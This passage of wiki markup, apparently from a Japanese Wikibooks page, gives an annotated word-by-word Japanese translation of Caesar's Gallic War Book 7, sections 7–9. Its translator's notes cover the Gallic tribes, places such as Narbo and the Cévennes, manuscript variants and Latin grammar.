**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前年まで、すなわち第6巻までの戦争は主としてガッリア北部・中部などで闘われていたので、&lt;br&gt;　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で既述のように、ローマ諸軍団はガッリア北部・中部周辺に冬営させられていた。&lt;br&gt;　　　　今回は軍団が駐留していないガッリア中南部を中心に反乱が起こったので、&lt;br&gt;　　　　カエサルと諸軍団は分断された。&lt;br&gt;　　　　そのため、カエサルが大部隊の護衛なしで北上すれば、&lt;br&gt;　　　　同盟部族にさえ寝首を掻かれる怖れがあったのである。）
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===7節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/7節]]　{{進捗|00%|2025-12-19}}&lt;/span&gt;
;ルクテリウスとカエサルのナルボーをめぐる駆け引き
[[画像:Narbonne_panorama.jpg|thumb|right|300px|'''ナルボー'''（Narbo）すなわち現在の[[w:ナルボンヌ|ナルボンヌ市]]（Narbonne）の街並み。ローマ人が[[w:ドミティア街道|ドミティア街道]]の拠点として植民市'''コロニア・ナルボー・マルティウス'''（Colonia Narbo Martius）を建設し、後には[[w:ローマ内戦 (紀元前49年-紀元前45年)|ローマ内乱]]のときにもカエサル派の根拠地となった。その重要性から帝政期には州都に昇格し、[[w:属州|属州]]名も[[w:ガリア・ナルボネンシス|ガッリア・ナルボネンスィス]]に改められたほどである。]]
[[画像:Via_domitia_map600x600_(1).png|thumb|right|200px|[[w:ドミティア街道|ドミティア街道]]（Via Domitia）の経路。ローマ人によってイタリアと[[w:ヒスパニア|ヒスパーニア]]を結ぶ重要な街道として整備された。本節でカエサル側の軍勢が往復したのもこの街道である。]]
:　
;　　　カドゥルキー族のルクテリウスが、ルテーニー族を同盟に引き入れる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Lucterius#Latin|Lucterius]] [[wikt:en:Cadurcus#Latin|Cadurcus]] 
**その間に、カドゥルキー族のルクテリウスが
*in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:missus#Participle|missus]] 
**ルテーニー族のところに遣わされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#5節|5節]]の冒頭で述べられた。&lt;br&gt;　　　　ルテーニー族 ''[[w:en:Ruteni|Ruteni]]'' は現在の[[w:アヴェロン県|アヴェロン県]]の&lt;br&gt;　　　　[[w:ロデーズ|ロデーズ]]辺りにいたとされる。）&lt;/span&gt;
*eam [[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:conciliat|conciliat]]. 
**その部族に[[w:アルウェルニ族|アルウェルニー族]]との仲を取り持つ。
:　
;　　　ルクテリウスが、ローマ属州内の拠点都市ナルボーを目指す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:progressus#Participle|Progressus]] in [[wikt:en:Nitiobriges#Latin|Nitiobriges]] et [[wikt:en:Gabali#Latin|Gabalos]] 
**&lt;small&gt;（彼は）&lt;/small&gt;ニティオブリゲース族とガバリー族のところに進んで行き、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ニティオブリゲース族&lt;br&gt;　　　　　またはニティオブロゲース族 ''[[w:en:Nitiobroges|Nitiobroges]]'' は&lt;br&gt;　　　　　現在の[[w:ロット＝エ＝ガロンヌ県|ロット＝エ＝ガロンヌ県]][[w:アジャン|アジャン]]辺り、&lt;br&gt;　　　　ガバリー族 ''[[w:en:Gabali|Gabali]]'' は現在の[[w:ロゼール県|ロゼール県]]辺りにいたらしい。）&lt;/span&gt;
*ab [[wikt:en:uterque#Latin|utrisque]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:accipit|accipit]] 
**双方から人質たちを受け取って、
*et, magna [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**多くの手勢を徴集すると、
*in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:versus#Latin|versus]] [[wikt:en:eruptio#Latin|eruptionem]] facere [[wikt:en:contendit|contendit]]. 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;[[w:属州|属州]]内のナルボーに向かって出撃することを急ぐ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ナルボー [[w:la:Narbo|Narbo]] は、ローマ人が建設した地中海岸の植民市で、&lt;br&gt;　　　　ヒスパーニアとイタリアを結ぶ拠点であった。&lt;br&gt;　　　　現在の[[w:ナルボンヌ|ナルボンヌ]]。）&lt;/span&gt;
:　
;　　　カエサルもナルボーを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:untiatus#Latin|nuntiata]] 
**その事を報告されると、
*Caesar omnibus [[wikt:en:consilium#Latin|consiliis]] [[wikt:en:antevertendus#Latin|antevertendum]] &lt;span style=&quot;color:#009900;font-size:8pt;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:existimavit|existimavit]], ut [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:proficisceretur|proficisceretur]]. 
**カエサルは、ナルボーに出発することを、あらゆる計画に先立ってするべきであると考えた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへやって来ると、
*[[wikt:en:timens#Latin|timentes]] [[wikt:en:confirmat#Latin|confirmat]], 
**&lt;ruby&gt;&lt;rb&gt;怖気&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おじけ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ている者たちを元気付けて、
*[[wikt:en:praesidium#Latin|praesidia]] 
**守備隊を
*in [[wikt:en:Ruteni#Latin|Rutenis]] [[wikt:en:provincialis#Latin|provincialibus]], [[wikt:en:Volcae#Latin|Volcis]] [[wikt:en:Arecomici#Latin|Arecomicis]], [[wikt:en:Tolosates#Latin|Tolosatibus]] 
**属州側のルテーニー族、[[w:ウォルカエ族|ウォルカエ]]・アレコミキー族、トローサーテース族&lt;small&gt;（らの領内）&lt;/small&gt;に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上述のように、属州外の&lt;u&gt;ルテーニー族&lt;/u&gt;は[[w:アルウェルニ族|アルウェルニー族]]と結んでいる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:ウォルカエ族|ウォルカエ族]]は、西側に住むテクトサゲース族 ''[[w:en:Tectosages|Tectosages]]'' と&lt;br&gt;　　　　　　　　　　　　東側に住むアレコミキー族 ''[[w:en:Arecomici|Arecomici]]'' の2支族に分かれていた。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：トローサーテース族 ''[[w:fr:Tolosates|Tolosates]]'' は、ウォルカエ・テクトサゲース族の分派とされ、&lt;br&gt;　　　　　現在の[[w:トゥールーズ|トゥールーズ]]の近くにいたと考えられている。）&lt;/span&gt;
*[[wikt:en:circum#Preposition|circum]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Narbo#Latin|Narbonem]], quae [[wikt:en:locum#Latin|loca]] hostibus erant [[wikt:en:finitimus#Latin|finitima]], 
**および敵方に隣接した地である[[w:ナルボンヌ|ナルボー]]周辺に
*[[wikt:en:constituit#Latin|constituit]]; 
**駐留させる。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; partem [[wikt:en:copiae#Noun_2|copiarum]] ex [[wikt:en:provincia#Latin|provincia]] 
**属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;からの軍勢の一部、
*[[wikt:en:supplementum#Latin|supplementum]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quod ex Italia [[wikt:en:adduxerat|adduxerat]], 
**およびイタリアから率いて来た補充兵を
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：後者の補充兵 supplementum は、[[#1節|1節]]で既述のように、&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]で徴募された軍団兵であろう。）&lt;/span&gt;
*in [[wikt:en:Helvii#Latin|Helvios]], qui fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:contingunt|contingunt]], 
**[[w:アルウェルニ族|アルウェルニー族]]の領土に接しているヘルウィイー族のところに
*[[wikt:en:convenire#Latin|convenire]] [[wikt:en:iubet#Latin|iubet]].
**集結することを命じる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===8節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/8節]]　{{進捗|00%|2026-01-03}}&lt;/span&gt;
[[画像:Carte-cevennes-france.png|thumb|right|200px|フランスにおける[[w:中央高地 (フランス)|中央高地]]（Massif Central）とセヴェンヌ山地（Cévennes）の位置]]
[[画像:Col_de_legal.jpeg|thumb|right|200px|[[w:雪|雪]]に覆われた[[w:オーヴェルニュ地域圏|オーヴェルニュ高地]]。オーヴェルニュ（Auvergne）の名は[[w:アルウェルニ族|アルウェルニー族]]（Arverni）に由来する。]]
[[画像:Causse_Mejean_Evening.jpg|thumb|right|200px|城壁のように続くケウェンナ（セヴェンヌ）山地の断崖]]
[[画像:France_Massif_central.jpg|thumb|right|200px|[[w:アルウェルニ族|アルウェルニー族]]の勢力圏であった[[w:中央高地 (フランス)|中央高地]]（Massif Central）の領域（着色部分）。平野の多いフランスにおいて山塊としてそびえ立つ。]]
:　
;カエサルがケウェンナ山地を越えてアルウェルニー族の領内へ突入
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:comparatus#Latin|comparatis]], 
**これらの事が整えられて、
*[[wikt:en:repressus#Latin|represso]] iam [[wikt:en:Lucterius#Latin|Lucterio]] et [[wikt:en:remotus#Latin|remoto]], 
**&lt;small&gt;（カドゥルキー族の）&lt;/small&gt;ルクテリウスはすでに押し留められ、遠ざけられた。
*quod [[wikt:en:intrare#Latin|intrare]] intra [[wikt:en:praesidium#Latin|praesidia]] [[wikt:en:periculosus#Latin|periculosum]] [[wikt:en:putabat|putabat]], 
**──というのは&lt;small&gt;（ローマ人の）&lt;/small&gt;守備の範囲内に踏み込むことは危険なことであると&lt;small&gt;（ルクテリウスが）&lt;/small&gt;見なしていたからであるが、──
*in [[wikt:en:Helvii#Latin|Helvios]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（そこで、カエサルは）&lt;/small&gt;ヘルウィイー族のところに出発する。
:　
;　　　カエサルが、アルウェルニー族の要害ケウェンナ山を越える
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Etsi&lt;/u&gt; mons &lt;u&gt;Cevenna&lt;/u&gt;, qui [[wikt:en:Arverni#Latin|Arvernos]] ab [[wikt:en:Helvii#Latin|Helviis]] [[wikt:en:discludit|discludit]], 
**[[w:アルウェルニ族|アルウェルニー族]]をヘルウィイー族から隔てている&lt;u&gt;ケウェンナ山&lt;/u&gt;は、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：山の名は写本によって Cebenna または Cevenna となっており、&lt;br&gt;　　　　　[[w:ガイウス・プリニウス・セクンドゥス|大プリーニウス]]が記した [[wikt:en:Cebenna#Latin|Cebenna]] がガリア語に近いようである。&lt;br&gt;　　　　現在名はセヴェンヌ山地 Cévennes と呼ばれ、&lt;br&gt;　　　　　[[w:中央高地 (フランス)|フランス中央高地]]（Massif Central）の南東部にそそり立っている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …「～としても、にもかかわらず…」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:mons#Latin|mons]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:durissimus#Latin|durissimo]] tempore anni 
**最も厳しい時季に
*[[wikt:en:altissimus#Latin|altissima]] [[wikt:en:nix#Latin|nive]] iter [[wikt:en:impediebat|impediebat]], 
**豪[[w:雪|雪]]によって道を閉ざしていたのであるが、
*&lt;u&gt;tamen&lt;/u&gt; [[wikt:en:discussus#Latin|discussa]] [[wikt:en:nix#Latin|nive]] sex in [[wikt:en:altitudo#Latin|altitudinem]] [[wikt:en:pes#Latin|pedum]] 
**にもかかわらず&lt;small&gt;（カエサル勢は）&lt;/small&gt;深さ6&lt;u&gt;ペース&lt;/u&gt;の雪を粉砕して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、6ペースは約1.8メートル弱。）&lt;/span&gt;
*atque ita [[wikt:en:via#Latin|viis]] [[wikt:en:patefactus#Latin|patefactis]] [[wikt:en:summus#Latin|summo]] [[wikt:en:miles#Latin|militum]] &lt;u&gt;sudore&lt;/u&gt;
**このように兵士たちの最大の努力によって道が開かれて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sudor#Latin|sudore]]「汗」だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:labor#Latin|labore]]「労苦」 となっている。）&lt;/span&gt;
*ad fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:pervenit#Latin|pervenit]]. 
**[[w:アルウェルニ族|アルウェルニー族]]の領土へ到達した。
:　
;　　　アルウェルニー族が、カエサルの奇襲に周章狼狽する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus [[wikt:en:oppressus#Latin|oppressis]] [[wikt:en:inopinans#Latin|inopinantibus]], 
**&lt;small&gt;（アルウェルニー族は）&lt;/small&gt;彼らに対する&lt;small&gt;（カエサルの）&lt;/small&gt;攻撃を予期していなかったが、
*quod se &lt;u&gt;Cevenna&lt;/u&gt; ut [[wikt:en:murus#Latin|muro]] [[wikt:en:munitus#Latin|munitos]] [[wikt:en:existimabant|existimabant]], 
**──というのは、自分たちは&lt;u&gt;ケウェンナ&lt;/u&gt;を壁として防御されていると考えていたからであり、
*ac &lt;u&gt;ne&lt;/u&gt; [[wikt:en:singularis#Latin|singulari]] &lt;u&gt;quidem&lt;/u&gt; [[wikt:en:umquam#Latin|umquam]] homini eo tempore anni [[wikt:en:semita#Latin|semitae]] [[wikt:en:patuerant|patuerant]], 
**かつ、その時季には、個人にとってさえも、小道はかつて開かれていなかったからであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*[[wikt:en:eques#Latin|equitibus]] [[wikt:en:imperat|imperat]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;騎兵たちに命令する。
*ut, [[wikt:en:quam#Adverb|quam]] [[wikt:en:late#Latin|latissime]] [[wikt:en:possint|possint]], [[wikt:en:vagentur|vagentur]] 
**できるだけ広く動き回り、
*et [[wikt:en:quam#Adverb|quam]] maximum hostibus [[wikt:en:terror#Latin|terrorem]] [[wikt:en:inferant|inferant]]. 
**敵たちに最大限の恐怖を引き起こすように、と。
:　
;　　　ウェルキンゲトリークスが、ビトゥリゲース族のもとから軍勢を取って返す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Celeriter haec [[wikt:en:fama#Latin|fama]] ac &lt;u&gt;nuntiis&lt;/u&gt; 
**これらのことは速やかに風評や伝令たちによって、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:nuntii#Latin|nuntii]] だが、&lt;br&gt;　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Manutius|Manutius]]'' が [[wikt:en:nuntiis#Etymology_1|nuntiis]] と修正提案している。）&lt;/span&gt;
*ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:perferuntur|perferuntur]]; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ報知される。
*quem [[wikt:en:perterritus#Latin|perterriti]] omnes [[wikt:en:Arverni#Latin|Arverni]] [[wikt:en:circumsistunt|circumsistunt]] atque [[wikt:en:obsecrant|obsecrant]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;を、脅かされている[[w:アルウェルニ族|アルウェルニー族]]の皆が取り巻いて、嘆願する。
*ut suis [[wikt:en:fortuna#Latin|fortunis]] [[wikt:en:consulat#Latin|consulat]], 
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;の境遇に配慮してくれるように、
*&lt;u&gt;neve&lt;/u&gt; ab hostibus &lt;u&gt;diripiantur&lt;/u&gt;,  
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;が敵&lt;small&gt;〔ローマ人〕&lt;/small&gt;によって略奪されることを許容しないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この行は、&amp;alpha;系写本では [[wikt:en:neve#Latin|neve]] ab hostibus [[wikt:en:diripiantur|diripiantur]] &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:neu#Latin|neu]] se ab hostibus [[wikt:en:diripi|diripi]] [[wikt:en:patiatur|patiatur]] となっている。）&lt;/span&gt;
*[[wikt:en:praesertim#Latin|praesertim]] cum [[wikt:en:videat|videat]] [[wikt:en:omnis#Latin|omne]] ad se bellum [[wikt:en:translatus#Participle|translatum]]. 
**とりわけ、すべての戦争が自分たちへ向けられると&lt;small&gt;（彼が）&lt;/small&gt;見なしているのであるから
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：praesertim cum ～；とりわけ～であるから）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quorum ille [[wikt:en:prex#Latin|precibus]] [[wikt:en:permotus#Latin|permotus]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、その者たちの懇願に揺り動かされて、
*[[wikt:en:castra#Latin|castra]] ex [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:movet|movet]] in [[wikt:en:Arverni#Latin|Arveruos]] [[wikt:en:versus#Latin|versus]].
**陣営をビトゥリゲース族のところから[[w:アルウェルニ族|アルウェルニー族]]のところに向けて行軍する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：castra movet 「陣営を動かす」＝「行軍する」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：現在の[[w:ブールジュ|ブールジュ]]辺りから[[w:クレルモン＝フェラン|クレルモン＝フェラン]]辺りに南下したようである。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===9節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/9節]]　{{進捗|00%|2026-01-12}}&lt;/span&gt;
;カエサルが北上して諸軍団と合流するが、同盟軍はゴルゴビナ攻略をめざす
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; At Caesar, [[wikt:en:biduum#Latin|biduum]] in his locis [[wikt:en:moratus#Participle|moratus]], 
**それに対して、カエサルは2日間、この地に留まった。
*quod haec de [[wikt:en:Vercingetorix#Latin|Vercingetorige]] usu ventura [[wikt:en:opinio#Latin|opinione]] [[wikt:en:praeceperat|praeceperat]], 
**──というのは、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]についてこれ&lt;small&gt;〔陣営の移動〕&lt;/small&gt;が起こると予想をしていたからだが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：usu venire 「起こる」→&amp;nbsp; usu [[wikt:en:venturus#Latin|ventūra]] (esse) 「起こるであろう」）&lt;/span&gt;
*per causam [[wikt:en:supplementum#Latin|supplementi]] [[wikt:en:equitatus#Noun|equitatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:cogendus#Latin|cogendi]] 
**補充兵と騎兵隊を徴集するためという口実のもとに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：per causam 「口実のもとに」）&lt;/span&gt;
*ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:discedit|discedit]]; 
**軍隊から離れる。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:Brutus#Latin|Brutum]] [[wikt:en:adulescens#Noun|adulescentem]] his copiis [[wikt:en:praeficit|praeficit]]; 
**&lt;small&gt;（カエサルは）&lt;/small&gt;&lt;u&gt;青年ブルートゥス&lt;/u&gt;にこの軍勢を指揮させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：青年ブルートゥスとは、&lt;br&gt;　　　　[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ブルートゥス]]（&lt;small&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/small&gt;）のことで、&lt;br&gt;　　　　[[ガリア戦記 第3巻#14節|第3巻14節]]でカエサルの艦隊を指揮した。）&lt;/span&gt;
*hunc [[wikt:en:monet#Latin|monet]], ut in omnes partes [[wikt:en:eques#Latin|equites]] quam [[wikt:en:late#Latin|latissime]] [[wikt:en:pervagentur|pervagentur]]: 
**彼には、[[w:騎兵|騎兵]]たちがあらゆる方面にできるだけ広く駆け回るようにと、忠告する。
*&lt;u&gt;daturum&lt;/u&gt; se &lt;u&gt;operam&lt;/u&gt;, ne longius [[wikt:en:triduum#Latin|triduo]] ab [[wikt:en:castra#Latin|castris]] [[wikt:en:absit#Latin|absit]]. 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は、3日間より長く陣営から離れないように、努力をするであろう、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:opera#Latin|operam]] dare 「努力をする」→&amp;nbsp; operam  [[wikt:en:daturus#Latin|datūrum]] (esse) 「努力をするであろう」）&lt;/span&gt;
[[画像:Image-Vienne-Cropped.jpg|thumb|right|300px|'''ウィエンナ'''（Vienna）すなわち現在のヴィエンヌ（Vienne）。ロダヌス川（現[[w:ローヌ川|ローヌ川]]）のほとりにある当地は、南仏[[w:プロヴァンス|プロヴァンス地方]]と北仏[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]]を結ぶ交通の要衝として、古代ローマ時代から栄え、今もローマ時代の遺跡が多く残る。]]
:　
;　　　カエサルが、急いでウィエンナへ北進する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:constitutus#Participle|constitutis]] rebus, 
**これらの事を決定すると、
*&lt;u&gt;omnibus&lt;/u&gt; suis [[wikt:en:inopinans#Latin|inopinantibus]], 
**配下の皆が予期しないほど、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：omnibus は &amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
*quam [[wikt:en:maximus#Latin|maximis]] potest [[wikt:en:iter#Latin|itineribus]], 
**できるかぎりの強行軍で、
*[[wikt:en:Vienna#Etymology_1|Viennam]] [[wikt:en:pervenit#Latin|pervenit]]. 
**&lt;u&gt;ウィエンナ&lt;/u&gt;に到着する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ウィエンナ [[w:la:Vienna|Vienna]] は、&lt;br&gt;　　　　　現在の[[w:ヴィエンヌ (イゼール県)|ヴィエンヌ]] ''[[w:en:Vienne, Isère|Vienne]]''）&lt;/span&gt;
:　
;　　　カエサルが、ハエドゥイー族領を抜けて、2個軍団が冬営するリンゴネース族領へ向けて北上する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ibi#Latin|Ibi]] [[wikt:en:nactus#Latin|nactus]] [[wikt:en:recens#Latin|recentem]] [[wikt:en:equitatus#Latin|equitatum]], quem [[wikt:en:multus#Latin|multis]] ante diebus eo [[wikt:en:praemiserat|praemiserat]], 
**そこで、何日も前にそこに先遣していたまだ新兵の騎兵隊を得て、
[[画像:Langres_FR_(march_2008).jpg|thumb|right|300px|リンゴネース族（Lingones）の名を残す[[w:ラングル|ラングル]]（Langres）の街の雪景色]]
*neque [[wikt:en:diurnus#Latin|diurno]] neque [[wikt:en:nocturnus#Latin|nocturno]] itinere [[wikt:en:intermissus#Latin|intermisso]] 
**昼間も夜間も行軍を中断せずに、
*per fines [[wikt:en:Aedui#Latin|Haeduorum]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領土を通って、
*in [[wikt:en:Lingones#Latin|Lingones]] [[wikt:en:contendit|contendit]], 
**&lt;u&gt;リンゴネース族のところ&lt;/u&gt;に急いだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リンゴネース族 [[w:la:Lingones|Lingones]] の首邑は&lt;br&gt;　　　　　現在の[[w:ラングル|ラングル]] ''[[w:en:Langres|Langres]]'' で、&lt;br&gt;　　　　　ローマ時代には [[w:la:Andematunnum|Andematunnum]] と呼ばれたが、&lt;br&gt;　　　　''[[wikt:fr:Lingones|Lingones]]'' の転訛が ''[[wikt:fr:Langres|Langres]]'' である。）&lt;/span&gt;
*[[wikt:en:ubi#Latin|ubi]] [[wikt:en:duo#Latin|duae]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:hiemabant|hiemabant]], 
**そこには、2個[[w:ローマ軍団|軍団]]が冬営していた。
*ut, si [[wikt:en:aliquis#Latin|quid]] etiam de sua [[wikt:en:salus#Latin|salute]] ab [[wikt:en:Aedui#Latin|Haeduis]] [[wikt:en:iniretur|iniretur]] [[wikt:en:consilium#Latin|consilii]], [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:praecurreret|praecurreret]]. 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自らの安全についてさえ、ハエドゥイー族により何らかの謀計が始められても、速やかに凌駕するように。
:　
;　　　カエサルが、リンゴネース族領の軍団冬営地へ到着して、諸軍団へ集結を指令する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:pervenisset|pervenisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへ到着したときに、
*ad reliquas [[wikt:en:legio#Latin|legiones]] [[wikt:en:mittit|mittit]] 
**残りの軍団のもとへ&lt;small&gt;（伝令を）&lt;/small&gt;遣わす。
*&lt;u&gt;prius&lt;/u&gt;que omnes in unum locum [[wikt:en:cogit|cogit]], &lt;u&gt;quam&lt;/u&gt; de eius [[wikt:en:adventus#Latin|adventu]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:nuntiari|nuntiari]] [[wikt:en:posset#Latin|posset]]. 
**彼の到着について[[w:アルウェルニ族|アルウェルニー族]]に知らされ得るより早く、総勢が一か所に集結するように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:priusquam#Latin|prius ～ quam]] …；…より早く～）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ボイイー族がいるゴルゴビナの攻略を企図する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Hac re [[wikt:en:cognitus#Participle|cognita]], 
**この事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] rursus in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reducit|reducit]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は再びビトゥリゲース族のところに軍隊を連れ戻して、
*atque [[wikt:en:inde#Latin|inde]] [[wikt:en:profectus#Participle_2|profectus]] Gorgobinam, [[wikt:en:Boii#Latin|Boiorum]] [[wikt:en:oppidum#Latin|oppidum]], 
**そこから、[[w:ボイイ族|ボイイー族]]の城塞都市であるゴルゴビナへ出発した。
